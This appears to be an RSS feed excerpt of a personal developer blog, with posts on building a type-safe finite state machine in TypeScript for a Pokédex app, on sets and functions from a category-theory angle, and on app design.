Are you a tech-savy entrepeneur and want to steal the shit out of this idea?

Please... Go ahead... For whatever it may be worth, I am now officially open-sourcing this idea. MIT license, put me in the credits, whatever. I don't care.

Even though you can’t even copyright an idea. But hey, It sounds noble!

Heck. Perhaps somebody else already came up with this idea. In that case, kudos!

I would just love for this to come to fruition! And see a world with more equal opportunities. With better, free, asynchronous access to official education (and get a cs degree myself, why not!).

Because I truly believe that would lead to a more creative world.

And you know me, that's what I, in my own selfishness, want.

That being said. If you want to use the idea and need someone that may know a thing or two about creativity... I like money.

Epilogue.

Here's a lesson on creativity. On how it can be used for good. And to save ourselves.

  • Creativity requires being willing and able to entertain the wildest of ideas.
  • But being intelligent enough to avoid being enamored with them.

I am 100% OK with this idea being complete and utter crap.

Whatever. I came up with it in like, 10 or 15 minutes?

That's only "10%" of what creativity is, anyways.

The other "10%" is hard work. Wait, what?

What's with that, I hear you ask?

Oh I wonder, what do

you, and others

think...

;)

Hopefully you found this essay thought provoking at least. Please consider supporting my writing with a donation.

]]><![CDATA[Thinking with types: building a Finite State Machine with TypeScript to drive an app's UI]]>https://blog.jrlgs.dev/thinking-with-types-building-a-fsm-for-my-pokedexs-uihttps://blog.jrlgs.dev/thinking-with-types-building-a-fsm-for-my-pokedexs-uiWed, 13 Apr 2022 02:25:15 GMTIn my previous post I mentioned that I wanted to model my pokedex's interface interaction as a state machine.

I wanted implement a state machine with TypeScript to handle that for me. So I figured that I would share what I learned!

First, why?

The functionality of my interface is completely determined at any point in time by the state the interface is in. Or rather, both the interface and the functionality are determined by the state.

So the obvious solution is to use a state machine to drive the functionality with some assurances towards correctness. <- This is important.

One of my desigin goals is to make it a seamless experience. So having correctness assurances helps with that.

First lets describe what is a state machine.

Warning, maths ahead.

A mathematical tangent (skippable)

A finite state machine, also called a finite automata. Has a finite set \(S\) of possible internal states along with a finite set of allowed inputs from some alphabet \(A\) of symbols.

We can represent the behaviour of the automata as a function: $$ \delta : A \times S \rightarrow S $$ Which just means that the machine will take an input \(a_i \in A\) and given an internal state \(s_i \in S\) will return a new state: $$ \delta(a_i, s_i) = s_n $$ Thats it. Does it seem familiar? This is just a reducer!

End of tangent (ok, you can stop skipping now)

Let's reword what I said so that y'all skippers get the gist of it. A state machine is a mathematical entity that can "have" some defined state at some point in time. And can receive an input.

The next state of the machine is deterministically given by both the current state and the input:

$$ S_2 = input+S_1 $$

Again. That's just a reducer.

You may be wondering. Why go through the trouble? Why not just use redux or something like that?

The answer is that if we implement just the machine we need, we can prove (as in a mathematical proof) that it will behave correctly. No testing necessary. (even though writing unit tests for it is still recommended)

And if we are careful with how we implement it, using types, we can also make it so the we cannot break it.

Even if we tried!

The obligatory disclaimer: While the world of maths is crisp and perfect, the world of computers is anything but. We can make assurances about the model. But there is always the possibility that, given the internal workings of TypeScript, the JavaScript interpreter, or my own silliness, the whole thing can just break.

If anything, this can be a very good excuse for learning about programming with types!

So what's the plan?

We can take two broad approaches to modeling a state machine with code.

  1. Check the value of the input variable and use it to differentially choose one preexisting function for the behaviour (represented as the state). With a switch statement, for example.
  2. Hold a reference to the behaviour. And let other behaviour change the reference.

With option 2 we cannot run behaviour that is not allowed for the current state. As the behaviour reference is the state. While that is possible with option 1.

We can implement option 2 either the OOP way, using the strategy pattern with objects encapsulating behaviour. Or the FP way, using that same pattern, but with typed functions. I would choose typed functions, of course :D

However. There is a third way of modeling the state machine. Using algebraic data types (ADTs) to constrain the behaviour of an object to a fininte set of possible behaviors. And then using a switch statement.

Unfortunately you cannot do this with TypeScript out of the box. So we are gonna be implementing a tagged union ADT to achieve this.

Then, I will share an implementation in TypeScript.

The Tagged Union type

I will need to implement a type that is not quite supported by default in typescript. The sum type, also known as tagged union and discriminated union. Or just union type. I will use those interchangeably.

You may be wondering that there is already a sum type in TypeScript!

Well, yes. But also not quite.

A ramble about TypeScript

In TypeScript, you have both union and intersection types. But these don't work as one may expect (from type theory).

The first thing to note is that TypeScript uses structural typing. Which means that ultimately, the only thing that matters is the shape of the object which you are typing (for non-primitive types)

In contrast to *nominal* typing in class-based object oriented languages, like C++

So in the following example, both types are interchangeable.

type Dog = {name:string, breed: string}
type PedigreePet = {name:string, breed:string}
// Dog === PedigreePet

Those two types would not be equivalent in C++, because of nominal typing.

How the union type works in typescript is constrained by this requirement. Let's see some examples. Consider the following union type Pet.

type Dog = { name: string, breed: string}
type Cat = { name: string, favoriteFood: string}

type Pet = Dog | Cat

You may think of the type Pet as "either a Dog or a Cat". But, do you think pet.breed is a valid property?

A function that takes a Pet cannot know if the argument is a cat or a dog:

const rename = (pet: Pet) => {
    // This will make TypeScript complain!!!
    pet.breed = "expensive breed you can't afford"
    // But this is ok
    pet.name = "bob"
}

So a more accurate way of thinking would be. "Pet is something that could pass as either a Dog or a Cat, but must be general enough to be both". So the union type is the type of values that are valid enough as any of either types.

But if we take the intersection type of cat and dog we get a different behaviour.

type PetInt = Dog & Cat 
// which is the same as
type PetInt = {name: string, breed: string, favoriteFood:string}

Which is quite uncomfortable to process right? It seems like the names "union" and "intersection" should be flipped! But the good people at microsoft have very good reasons to have them behave like this.

The union type as it works on TypeScript means that if you take the set of all possible values for all the types you are considering (that is, the set theoretical union), then you can only talk about the common properties.

This is because if you have a function with the signature

type namePet = (pet: Pet) => Pet

As in the example above, that would mean the same as 

type namePet = (pet: {name:string}) => {name:string}

That is, you have to be able to pass any object that could be either a Dog or a Cat. So you have to keep only the common elements. You loose some information about the original type when you use Pet. The function namePet cannot know whether the pet you pass is a cat or a dog.

But all that is just a JavaScript quirk! Because of how its object system works. And an artifact of TypeScript using structural typing.

Understanding Union types (warning, Haskell ahead!)

But the type theoretical union types are a bit different in how they behave. Although the concept is the same.

In order to explore the union type, we will need to switch to Haskell. Don't worry, the syntax is quite easy, so you can follow.

In Haskell, a discriminated (tagged) union type looks like this.

data MyBool = Yes | No

Here we are defining a new type MyBool. And we are saying that any value of type MyBool must be either a Yes or a No. Those two are types, not values. (Although the way they are expressed in Haskell here means that they are single-value types...)

But nothing stops us from doing this:

data MyBoolZ = Yes | No | Z

And any value of type MyBoolZ must be either a Yes, a No , or a Z. And any function that accepts a MyBoolZ must handle all possible cases.

checkIfBool :: MyBoolZ -> Bool
checkIfBool x = case x of
     Yes -> True
    No -> True
    Z -> False

A note: this kind of check is kind of pointless in Haskell. And seems iffy to me. You really shouldn't need checking types in Haskell.

Here, the function checkIfBool takes a value x of type BoolZ and returns true if it is either Yes or No. But returns false otherwise.

So, for the pet example, we can do something like this:

data Pet = Cat | Dog

checkIfCat :: Pet -> Bool
checkIfCat pet = case pet of
    Cat -> True
    Dog -> False

Which in haskell means that any value of type Pet must be either a dog or a cat. But if it is a Dog, then it is a fully fledged Dog. And so for Cat. That is, after receiving Pet, a function can know if it is a Dog or a Cat.

You cannot do this in TypeScript. As Pet looses information. But in Haskell, the union is tagged, in the sense that any Pet carries information about whether it is a Dog or a Cat.

Let's fix that!

Implementing a Tagged Union in TypeScript

The good news is that we can, without much effort, implement the union type from Haskell in TypeScript.

What we are implementing is an algebraic data type which means that our type should behave accordingly to some particular algebraic rules or properties. Right now the only property we care about is that each type is tagged. So the sum type doesn't loose information when passing into a function.

If you are curious, we are implementing something called the *coproduct* in the category of types. But it is not super important to understand that. As not even Haskell is mathematically rigorous enough for that. The only thing you probably should know is that it means more or less the same as the set theoretical discriminated union. If two sets \(A\) and \(B\) both have the element \(x\), then the discriminated union \(A \coprod B\) has the elements \((x,a)\) and \((x,b)\).

We just need to make sure that we can always ask Pet for its underlying type. That means, we tag a Pet as either a Dog or a Cat.

type Dog = {type: "dog", name: string, breed: string}
type Cat = {type: "cat", name: string, favoriteFood: string}

Now Pet would look like this:

type Pet = Dog | Cat
// means the same as
type Pet = {type: "dog"|"cat", name: string}

Really, it's that simple...

The words "dog" and "cat" are not strings. They are just the names for two singleton types (which can only have one single value).

Please take a moment to think about what this means. A union type in type theory is just a type that can have multiple representations. Not one that can pass as either one of them, as is the default in TypeScript. Haskell by default uses this type theoretical union type.

Hence, the equivalence with the natural language "or" (and the logical or). A pet is a cat or a dog.

If you are curious again, I can make this claim thanks to an important result in logic called the Curry-Howard correspondence.

Example: A recursive binary tree.

Let's see an example on how to use tagged unions in Haskell. Consider the following MyTree type

data MyTree a = MyEmptyNode
              | MyTree a (MyTree a) (MyTree a)

Which is a (recursive) binary tree data structure! And here may be the same implementation in "pseudo-typescript"

// NOT REAL TYPESCRIPT!
type MyEmptyNode = {}
type MyFilledNode<T> = {value: T, left?: Tree<T>, right?: Tree<T> }

type MyTree<T> = MyEmptyNode | MyFilledNode

But note that the "|" i am using in this hypothetical example is the tagged union from Haskell which TypeScript doesn't have. If you code this in your app, you would have a very empty binary tree.

So lets implement the binary tree in real TypeScript now

type TaggedNode<T extends string> = {tag: T}

type MyEmptyNode = TaggedNode<"Empty"> & {}
type MyFilledNode<V> = TaggedNode<"Filled"> & {
    value: V, 
    left: MyTree<V> | MyEmptyNode, 
    right: MyTree<V> | MyEmptyNode
}


type MyTree<V> = MyEmptyNode | MyFilledNode<V>

Now the "|" will behave as in Haskell. Here's an example:

const jsonifiableTree : MyTree<number> = {
    tag: "Filled",
    value: 10,
    left: {
        tag: "Empty"
    },
    right : {
        tag: "Filled",
        value: 5,
        left: {
            tag:"Empty"
        },
        right: {
            tag: "Empty"
        }
    }
}

Now you can send fully typed binary trees over HTTP! XD

Representing states with types

Let's use tagged unions to represent the type of states, Actions and build a simple finite state machine. Let's consider an example. The AI for an enemy NPC in a game like Zelda.

State Types

It has several possible states:

  • Wander
  • Attack
  • RunAway

And we would like to have it so that each state can carry some info that we can use to program the NPC's behaviour. I'll use intersection types for that.

type TaggedState<T extends string> = {tag:T}

type Wander = TaggedState<"Wander"> & {
    isAsleep: boolean
}
type Attack = TaggedState<"Attack"> & {
    enraged: boolean, 
    attackPoints: number
}
type RunAway = TaggedState<"RunAway"> & {
    isTired: boolean,
}
// We can attack information to each state to drive the behaviour in the NPC's script

type NPCState = Wander | Attack | RunAway

Action Types

And several "actions":

  • SeePlayer: Wander -> Attack
  • GetHit: Attack -> RunAway, Wander -> RunAway
  • LoosePlayer: RunAway -> Wander
type TaggedAction<A extends string> = {tag:A}

type SeePlayer = TaggedAction<"SeePlayer"> & {
    distance: "far" | "mid" | "near"
}
type GetHit = TaggedAction<"GetHit"> & {
    dmgAmount: number, 
    canBeBlocked: boolean
}
type LoosePlayer = TaggedAction<"LoosePlayer">


type Action = SeePlayer | GetHit | LoosePlayer

Transition function

Each action is a rule that takes you from one state to another, if you are in a valid state:

  • SeePlayer: Wander -> Attack
  • GetHit: Attack -> RunAway, Wander -> RunAway
  • LoosePlayer: RunAway -> Wander

For example. Sending the action "LoosePlayer" when the NPC is in the "Wander" state doesn't make sense and should be ignored. The time and effort we spent thinking about Types will pay off when we make it so that it is impossible to get any weird runtime error because of some invalid action!

We can create a function with this signature:

type Reducer = (a: Action, s: State) => State

const reducer:Reducer = (action, state) => {
    switch (state.tag) {
        case "Wander":
            return reduceWander(action, state)
        case "Attack":
            return reduceAttack(action, state)
        case "RunAway":
            return reduceRunAway(action, state)
        default:
            throw new TypeError ("Nope, you can't do that!")
    }
}

We cannot have an invalid state. We can then handle the actions state-wise:

import {Wander, Attack, RunAway} from "./states.ts"


const reduceWander = (action, state) => {
    switch(action.tag) {
        case "SeePlayer" :
            ... // Logic for handling the resulting state
            return <Attack>{...} // Whatever extra info we want to add
        case "GetHit" :
            ...
            return <RunAway>{...}
        default: 
            return state // Ignore invalid actions
    }
}

const reduceAttack = (action, state) => {
    switch (action.tag) {
        case "GetHit" :
            ...
            return <RunAway>{...}
        default :
            return state
    }
}

const reduceRunAway = (action, state) => {
    switch (action.tag) {
        case "LoosePlayer" :
            ...
            return <Wander>{...}
        default:
            return state
    }
}

Now the behaviour of the state machine cannot recieve invalid actions, nor can it have invalid transitions.

In other parts of the code we can "dispatch" actions to the reducer, to change the state of the NPC. There may be some issues that arise then, but not because of the state machine.

The reducer gives us guarantees that invalid transitions cannot happen.

To use the machine, you just need to initialize a State and have whatever function will send inputs dispatch an Action to the reducer, along with the current state.

Does it seem familiar? Of course! Because it is just our good friend, the finite automata's transition function:

$$ \delta: A\times S \rightarrow S $$

The input set \(A\) and state set \(S\) sets are the Action and State types we were careful to define with tagged union types.

Then the reducer function is the state transition function \(\delta\). Which internally just asks about the input s and checks if given s, the action a does anything. If not, it does nothing.

If you pass an invalid state, it won't break. It just won't compile. An invalid action will do nothing.

So, we ended up coding the mathematical definition of the finite automata!

There's your proof of correctness!

Building the PokeDex transition FSM in a Next.js app

If you are still thinking that this is just an overcomplicated way to use the redux pattern... Yes, yes it is. But I am learning a lot by writing this. And I hope you can share some of the learniness with me!

But also, no. I am using Next.js so I don't need redux for handling state while data fetching. I will make use of Next's own means of fetching. So that leaves me with the question of how to handle states.

One of my priorities with this app is having a seamless experience. I want to minimize the chances of weird or unintended behaviour. And having a purpose built state machine will allow me to provide some assurances of correctness.

The way we will implement it will make sure that we cannot break it. Even if we try. And going through the effort of using types will make sure that only the intended behaviour can happen. Because any non-intended behaviour will yield a compiler error!

Defining types for States and Actions

First, lets code the types for the states of the FSM diagram we had in the previous post:

type TaggedState<S extends string> = { tag: S } & StateInfo;

type StateInfo = {
    mapId: number | null,
    pkmId: number | null,
    sectionId: number | null,
}

// States
export type Search = TaggedState<"Search">
export type MapToSearch = TaggedState<"MapToSearch">
export type MapScreen = TaggedState<"MapScreen"> 
export type PkmInfoScreen = TaggedState<"PkmInfoScreen">
export type PkmInfoToSearch = TaggedState<"PkmInfoToSearch">
export type MapSectionScreen = TaggedState<"MapSectionScreen">

// State type
export type State =
    | Search
    | MapToSearch
    | MapScreen
    | PkmInfoScreen
    | PkmInfoToSearch
    | MapSectionScreen;

I also attached some extra information to each state. This way, a component that needs to know about the PkmInfoScreen state knows which pokemon to fetch from the API.

We will do the same for the actions.

type TaggedAction<A extends string> = { tag: A };

// Actions
export type InputSearch = TaggedAction<"InputSearch">;
export type ClickPkm = TaggedAction<"ClickPkm"> & { pkmId: number };
export type ClickMap = TaggedAction<"ClickMap"> & { mapId: number };
export type ClickSearch = TaggedAction<"ClickSearch">;
export type ClickSection = TaggedAction<"ClickSection"> & {
    mapId: number;
    sectionId: number;
};

// Action type
export type Action =
| InputSearch
| ClickPkm
| ClickMap
| ClickSearch
| ClickSection;

Using a Test Driven Development approach to code the transition logic

Before we start with the reducers, lets write some test to capture the intended behaviour of the FSM. I'm using Jest. Here I'll just share the test for one of the reducers, so you can appreciate that I am using the tests to codify the intended behaviour of the FSM. In a TDD approach of sorts.

If you want to see how I coded the rest of the tests, check the github repo :D

describe("Search State Transitions", () => {
    const initialState: Search = {
        type: "Search",
        pkmId: null,
        mapId: null,
        sectionId: null,
    };

    it("action 'ClickPkm' should transition to PkmInfoScreen with pkmId", () => {
        const expectedState: PkmInfoScreen = {
            type: "PkmInfoScreen",
            pkmId: 1,
            mapId: null,
            sectionId: null,
        };

        const action: Action = {
            type: "ClickPkm",
            pkmId: 1,
        };

        expect(fsmReducer(action, initialState)).toEqual(expectedState);
});

    it("action 'ClickMap' should transition to MapScreen with mapId", () => {
        const expectedState: MapScreen = {
            type: "MapScreen",
            pkmId: null,
            mapId: 3,
            sectionId: null,
        };

        const action: ClickMap = {
            type: "ClickMap",
            mapId: 3,
        };
        expect(fsmReducer(action, initialState)).toEqual(expectedState);

    });

    it("should do nothing when given an invalid action", () => {
        const invalidAction = {
            type: "IamInvalid",
            pkmId: "nope",
            nonExistentId: 5,
        };

        // This test will run in JavaScript. But TypeScript will complain,
        // which is exatly what I want. I shouldn't be able to run this in the app
        expect(fsmReducer(invalidAction, initialState))
        .toEqual(initialState);

    });

});

Once we fill out the tests, and write the reducers the result of running the tests should be a pass:

jorchrl@Jorges-MacBook-Pro pokedex-next % npm run test                                                        

> pokedex-next@0.1.0 test
> jest

 PASS  modules/pokeFSM/Reducers.test.ts
  Search State Transitions
    ✓ action 'ClickPkm' should transition to PkmInfoScreen with pkmId (2 ms)
    ✓ action 'ClickMap' should transition to MapScreen with mapId (1 ms)
    ✓ should do nothing when given an invalid action (1 ms)
  MapScreen State Transitions
    ✓ action 'ClickSearch' should transition to MapToSearch (1 ms)
    ✓ action 'ClickSection' should transition to MapSectionScreen with mapId and sectionId (1 ms)
    ✓ should do nothing when given an invalid action (1 ms)
  MapToSearch State Transitions
    ✓ action 'InputSearch' should transition to Search (1 ms)
    ✓ action 'ClickMap' should transition to MapScreen with mapId (1 ms)
    ✓ should do nothing when given an invalid action (1 ms)
  PkmInfoScreen State Transitions
    ✓ action 'ClickSearch' should transition to PkmInfoToSearch (1 ms)
    ✓ action 'ClickMap' should transition to MapScreen with mapId  (2 ms)
    ✓ action 'ClickSection' should transition to MapSectionScreen with mapId and sectionId (1 ms)
    ✓ should do nothing when given an invalid action (1 ms)
  PkmInfoToSearch State Transitions
    ✓ action 'InputSearch' should transition to Search (1 ms)
    ✓ action 'ClickPkm' should transitio to PkmInfoScreen with pkmId (1 ms)
    ✓ action 'ClickMap' should transition to MapScreen with mapId
    ✓ action 'ClickSection' should transition to MapSectionScreen with mapId and sectionId (1 ms)
    ✓ should do nothing when given an invalid action (1 ms)
  MapSectionScreen State Transitions
    ✓ action 'ClickSection' should transition to MapSectionScreen with mapId and sectionId (1 ms)
    ✓ action 'ClickPkm' should transition to PkmInfoScreen with pkmId (1 ms)
    ✓ action 'ClickSearch' should transition to MapToSearch (2 ms)
    ✓ should do nothing when given an invalid action (1 ms)
  Invalid States
    ✓ the reducer should throw a TypeError when an invalid state is passed (31 ms)

Test Suites: 1 passed, 1 total
Tests:       23 passed, 23 total
Snapshots:   0 total
Time:        1.59 s
Ran all test suites.

Writing the Reducers

The reducer function will first filter through the input state's type. And pass the input to the adequate state reducer.

export type Reducer = (a: Action, s: State) => State;

export const fsmReducer: Reducer = (action, currentState) => {
    switch (currentState.type) {
        // First, filter by state. So you cannot send actions to an invalid state.
        // But note that this is a pure function. So currentState is extenal.
        case "Search":
            return reduceSearch(action, currentState);
        case "MapToSearch":
            return reduceMapToSearch(action, currentState);
        case "MapScreen":
            return reduceMapScreen(action, currentState);
        case "PkmInfoScreen":
            return reducePkmInfoScreen(action, currentState);
        case "PkmInfoToSearch":
            return reducePkmInfoToSearch(action, currentState);
        case "MapSectionScreen":
            return reduceMapSectionScreen(action, currentState);
        default:
            throw new TypeError("You cannot pass an invalid state!");
    }
};

Here's how one of those looks like:

// Each reducer handles the valid actions per state. So you cannot send an
// invalid action, ever. These are also pure functions.
export const reduceSearch: Reducer = (action, state) => {
    // Filter by action type
    switch (action.type) {
        case "ClickMap":
            // The action carries info about the map
            return { ...state, type: "MapScreen", mapId: action.mapId };
        case "ClickPkm":
            // The action carries info about the pokemon
            return { ...state, type: "PkmInfoScreen", pkmId: action.pkmId };
        default:
            return state;
    }
};

Check the GitHub repo to see all of them.

Note that we are handling invalid input states by throwing a TypeError. And handling invalid action inputs, per state, by ignoring them. So we cannot trigger unexpected behaviour. TypeScript will not compile if we try.

Thus we cannot break this machine. <- this was the whole point of this exercise.

We can still break the app in other ways, but not the machine.

No bussines logic here

I just want to also point out that what we have done here is intended to be detached from the actual logic that dictates how to decide when to change states. That logic will be implemented inside our components.

The whole point of doing things this way is that I can put some constrains in the business logic in a decoupled manner. We could use different apps that use the same state machine.

For example, I mentioned that I was considering doing a mobile version. In that case, the interaction may be different, from the point of view of the user, but I could use the same FSM. Or make some slight modifications.

That's no problem because I wrote it as a separate module. I coded just the barebones machine. Nothing else!

In the next post I will start building the actual interface!

Wiring it up to the app

I will try out Zustand, a unidirectional state management solution for React. It's smaller and simpler than Redux, and way less 'boilerplatey' than React's Context API.

The way it works is, in my opinion, extremely elegant. Your store is a hook:

import create from 'zustand'
import State from "./States.ts"
import Action from "./Actions.ts"
import {fsmReducer} from "./Reducer.ts"

// Let's type our store to help avoid unexpected behavior
type FSMStore = State & {
    // syntax from Zustand's documentation
    dispatch: (a: Action) => void;
};

// We define the store as a hook
const useStore = create<FSMStore>((set) => ({
    type: "Search",
    pkmId: null,
    mapId: null,
    sectionId: null,
    dispatch: (action: Action) => set((state) => fsmReducer(action, state)),
}));

And then you just throw them into your components. No need to wrap your app in a provider:

const MyComponent = () => {
    const fsmType = useStore((state) => state.type);
    const dispatch = useStore((state) => state.dispatch);
    // then use those values in the component's JSX
    return (...)
}

You could also create an utility action creator :

// possible action creator, 
const createAction = (
    type: ActionTypes,
    pkmId: number = 1, 
    mapId: number = 1,
    sectionId: number = 1,
):Action => {
    return { type: type, pkmId, mapId, sectionId };
};

Thats it!

But you can wrap it up in a provider if you really want. And it may be the case that you need to do so. But I don't for this use case.

Trying out the FSM

Let's code a separate page to play around with the behaviour of the FSM. As I mentioned, doing things this way allows me to swap the business logic of the transitions, from the machine handling the transitions.

Here's how it looks.

https://giphy.com/gifs/SRv0LiJHd8sTMa4330

You can play with it by cloning the GitHub repo and running npm run dev

and visiting localhost:3000/fsm-playground

Check the GitHub repo!

Here it is, pokedex-next

So what?

One of the goals is learning. And not necessarily achieving the most simple solution. There are libraries, like coproduct that would have made using union types much simpler.

I could have also implemented the state machine just with Zustand, but here I am using it as a quick way to wire my state machine to the app.

TypeScript not behaving as "proper" Haskell may seem like a disadvantage. But it doesn't take much effort to make it do (to some reasonable extent).

That makes me like TypeScript even more. In my opinion, JavaScript's idiosyncratic object-orientedness is much more elegant than pretty much any other language.

It's a tradeoff, in exchange for the flexibility of structural typing. Which is one of the really nice characteristics of both JavaScript and TypeScript. And I think it is well worth it.

The only thing in my wishlist is to make TypeScript much less verbose and a little bit more consistent.

Epilogue.

Hopefully this was interesting!

I did learn a TON. Like, an obscene amount. I hope you get to share my learniness :D

If you made it all the way here, consider leaving a comment or feedback. I appreciate it a lot! I am learning this stuff. So any feedback will be greatly appreciated!

Next post will be about using this state machine to build the interface. With TailwindCSS! So, hopefully will not be as heavy as this one :D

I will also be updating on Twitter with the hashtag #BuildInPublic

So maybe follow me on Twitter?

]]><![CDATA[Functions?]]>https://blog.jrlgs.dev/functionshttps://blog.jrlgs.dev/functionsWed, 06 Apr 2022 21:57:00 GMTThis is a post about the basic mathematics needed to follow through category theory. When I say basic math I don't mean elementary math, mind you.

Rather, think about it as fundamental mathematical concepts that we will need as building blocks for our further discussions.

I also have a secondary goal with this introduction. To ask you to try out mathematical thinking. Hopefully, by following the examples you'll get a taste of that!

Here's the first bit: try to approach each concept isolated by itself, in the abstract. It is very tempting to try to understand a concept by recurring to an analogy of what you already know. And while that's helpful, it also makes you run the risk of defaulting to just one singular mental model of the abstract idea.

But mathematical thinking needs you to force yourself to try and see the same abstract concept in many different places. So anchoring a concept to a particular example is counterproductive.

I know that considering things in the abstract is uncomfortable, at first. But it gets easier. And is a really good habit. It helps you be more creative overall. Even outside of math.

In this essay I will approach two common mathematical ideas, you probably are familiar with from computer science. But I will offer an abstract treatment of them. So I will ask you to avoid defaulting too much to familiar analogies.

I honestly believe that going through the effort is worth it.

Sets

You probably think of a set as a "box" or a collection of elements. But if you ask a Set Theorist what is a set? The most mathematically sound answer they may give you is just to scream in horror.

Mathematicians kinda avoid the question of answering what is a set. Instead, saying that a set is a thing to which some axioms we all agree should be true enough apply. That is, in as much as they want to do rigorous math with sets.

The word "set" is a primitive. It means nothing at all, other than the thing the axioms of set theory apply to.

So how can we talk about sets?

Let's instead give a description of a set. Consider a proposition that consists of a predicate \(P\) which could apply to some object \(x\). For example, \(P\) could be the predicate "is round".

Thus \(P(x)\) is the claim that "x is round". Which may be true or false. A proposition may be proven true or proven false.

The set \(S\) of all round objects could be built like this: $$ S = \{ \; x \; | \; P(x) \; \} $$ Which can be read as "S is the set that contains x, such that x is round"

That way of "building" a set is called set-builder notation.

So we could say that sets have the particular characteristic of being completely defined by their elements. But if we accept such a claim as is, we get into problems.

Russel's paradox: Think of the set \(R\) that contains all sets that don't contain themselves. If it does not contain itself, we are forced to accept that it contains itself. But if that is the case, we are forced to accept that it cannot contain itself!

We can put the same paradox in natural language.

The Barber's paradox. There's just one barber in town, which shaves everyone that doesn't shave themselves. Who shaves the barber? If he shaves himself, then he couldn't be shaved by the barber. But if that's the case, then the barber should shave himself!

So let's add another descriptor. Sets are distinct from their elements. If anything, just to avoid Russel's paradox. We could also say that the "set of all sets" cannot exist.

There is not much else we can say about sets without getting into the muddy waters of meta-mathematics.

Functions

How can we talk about functions?

Let's continue the trend of "describing", by saying that a function is a mathematical entity which has certain properties.

  1. It has a domain and a codomain. Each of which is a set.
  2. For every element \(x\) of the domain, there is an element \(f(x)\) of the codomain.
  3. The function \(f\) determines completely the domain, codomain and all values \(f(x)\) for every \(x\) in the domain.
  4. The converse of (3) is true. The collection of the domain, codomain and values of \(f(x)\) for all \(x\) in the domain completely determine the function \(f\)

If you have taken either a math or computer science class, this way of describing functions may seem odd. Even archaic. But it is a categorially-flavored way of talking about functions.

In computer science, functions are usually thought of as "machines" that do stuff. They take an input and produce an output. Mathematically, they are usually described as a mapping between sets (ie. the set of inputs and the set of outputs). So functions are rules that relate one set to another.

Let me present a taste of the category theory approach. In a "context" or category, there can be two kinds of things. Let's just call them objects and morphisms. If \(A\) and \(B\) are objects in a category \(C\), then a morphism \(A \rightarrow B\) is just a directed arrow that relates the two objects.

Consider the category Set that has sets as objects and functions between sets as morphisms. Then if \(A\) and \(B\) are sets, the function \(f: A \rightarrow B\) is one such morphism.

But now consider the category Vec of vector spaces and linear transformations between vector spaces. So if \(A\) and \(B\) are vector spaces, \(f: A \rightarrow B\) is a morphism between vector spaces, which in this case is a particular kind of function called a linear transformation.

Let's get more abstract. Consider the category of persons and A has a positive degree of separation to B relations between persons. Then \(A\) and \(B\) being persons, \(f: A \rightarrow B\) means that they know each other, or they have a chain of acquaintances that link them. But that's hardly a function between sets!

So we can identify the same structure \(f: A \rightarrow B\) in three different contexts. And each one of them has a different meaning. But we are kinda forced to accept that there's some analogy between them!

Therefore (and this is the really special thing about category theory) we are kinda inclined to complain that the abstract "description" we gave of functions above is way too concrete!

I will not go further into that for now. As we will come back to it when we formally introduce categories. But let this serve as a provision for the kind of perspective we will have to adopt about functions.

Let's say that to talk coherently about a function, we must specify the rule, along with the domain and codomain.

Consider a rule that maps \(x \rightarrow x^2\). Coming form computer science one may be inclined to say that that rule is the function \(f(x)=x^2\).

But from this more abstract point of view we have to recognize that such rule could represent at least four different functions:

  1. \(x \rightarrow x^2 : \mathbb{R} \rightarrow \mathbb{R}^{+}\)
  2. \(x \rightarrow x^2 : \mathbb{R} \rightarrow \mathbb{R}\)
  3. \(x \rightarrow x^2 : \mathbb{R}^{+} \rightarrow \mathbb{R}^{+}\)
  4. \(x \rightarrow x^2 : \mathbb{R}^{+} \rightarrow \mathbb{R}\)

In fact, we can build an infinite number of functions!

Please note that even some mathematicians would probably say that this requirement is way too abstract. But we are interested in category theory here, where we need this point of view.

Anonymous functions

By the way, the notation for the rule \(x \rightarrow x^2\) is an anonymous function. The same kind that functional programmers use. Here it is in javascript:

(x) => x*x

Logicians also have a different notation. In lambda calculus: $$ \lambda x.x^2 $$ Which is a mathematical model of computation. When you write that beautiful functional TypeScript you are expressing a computation like that.

Here's an interesting question. When you use (x)=>x*x, which function are you using?

Typed Functions

Consider the function \(f: \mathbb{R} \rightarrow \mathbb{R}\) given by the rule \(x \rightarrow x^2\). By now we agree that this particular function is completely described by both the rule and the type signature, which denotes its domain and codomain.

type sqr = (x: number) => number

Suppose that javascript had int and float types (which it doesn't), in such case we could make the distinction:

type f = (x:int) => int
type g = (x:float) => int
type h = (x:int) => float
type i = (x: float) => float

It does make sense right?

What's next

In the follow up I'll go back to mathematical functions and elaborate on the concept of injective, surjective and bijective functions. Which is the first step towards the first really important result: isomorphisms.

We will see it first from the point of view of the category Set. Where isomorphisms have a very particular meaning. And then we shall discuss the general case of isomorphisms in any category!

Epilogue.

One of the end goals I have for this series is exploring and understanding a kind of mathematical objects known as toposes (or topoi ).

What I mean by that is that I want to understand those things. Because I don't. I am not an expert. Not even close. I am not even a mathematician (sadly). So don't take anything I say as true. I may (and probably will) make some very dumb mistakes!

You can think of toposes as generalized set theories. Or you may say that the category Set is a topos. A way to think about them is as a "nice place to build mathematics". Mathematicians in the early 1900's "built" mathematics from a rigorous set theoretical foundation. Because the found way of expressing logic with sets and functions.

But the logic that emerges in toposes is intuitionistic rather than the classical logic you can build in set theory.

Intuicionism in the philosophy of mathematics holds that mathematics is a creation of the mind. And not so much an "ontological constant" that uncovers the true nature of the universe.

Mathematical communication serves as a means of making other people acquire the same mental state. Intuitionism also holds that math is the foundation of logic and not the other way around. The intuitionistic approach to logic may serve as a way for formalizing other ways of reasoning which we humans use. Which I think are important for creativity. Here's another of my blog posts where I talk about that.

On the Computer Science aspect, toposes may be the adequate terrain to talk about programming language semantics.

]]><![CDATA[How to think and learn about design. Also, I'm designing and building a Pokédex!]]>https://blog.jrlgs.dev/how-to-think-and-learn-about-design-also-im-designing-and-building-a-pokedexhttps://blog.jrlgs.dev/how-to-think-and-learn-about-design-also-im-designing-and-building-a-pokedexWed, 06 Apr 2022 04:08:27 GMTI want to design an app. And build it with Next.js, tailwind CSS, and AWS. The build part is straightforward, even if not easy.

But the design part?

First, some preliminary research, then let's put it into practice!

I don't have the faintest idea on how to start. So, as always, my first solution is to do some research.

In this essay, I will elaborate on what I have learned about design, and what it is. To get some practical advice for me on how to do it. To learn how to build an app.

Then I will design an app using that practical advice. A Pokédex. I will build it in subsequent posts. To keep this post as uncluttered as possible.

The dribbbilisation of design

I recently read a thought-provoking article titled "The dribbbilisation of design" by Paul Adams. Which I highly recommend that you check out if you are interested in design and UX. Most of this blog post will be heavily based on the discussion on that article.

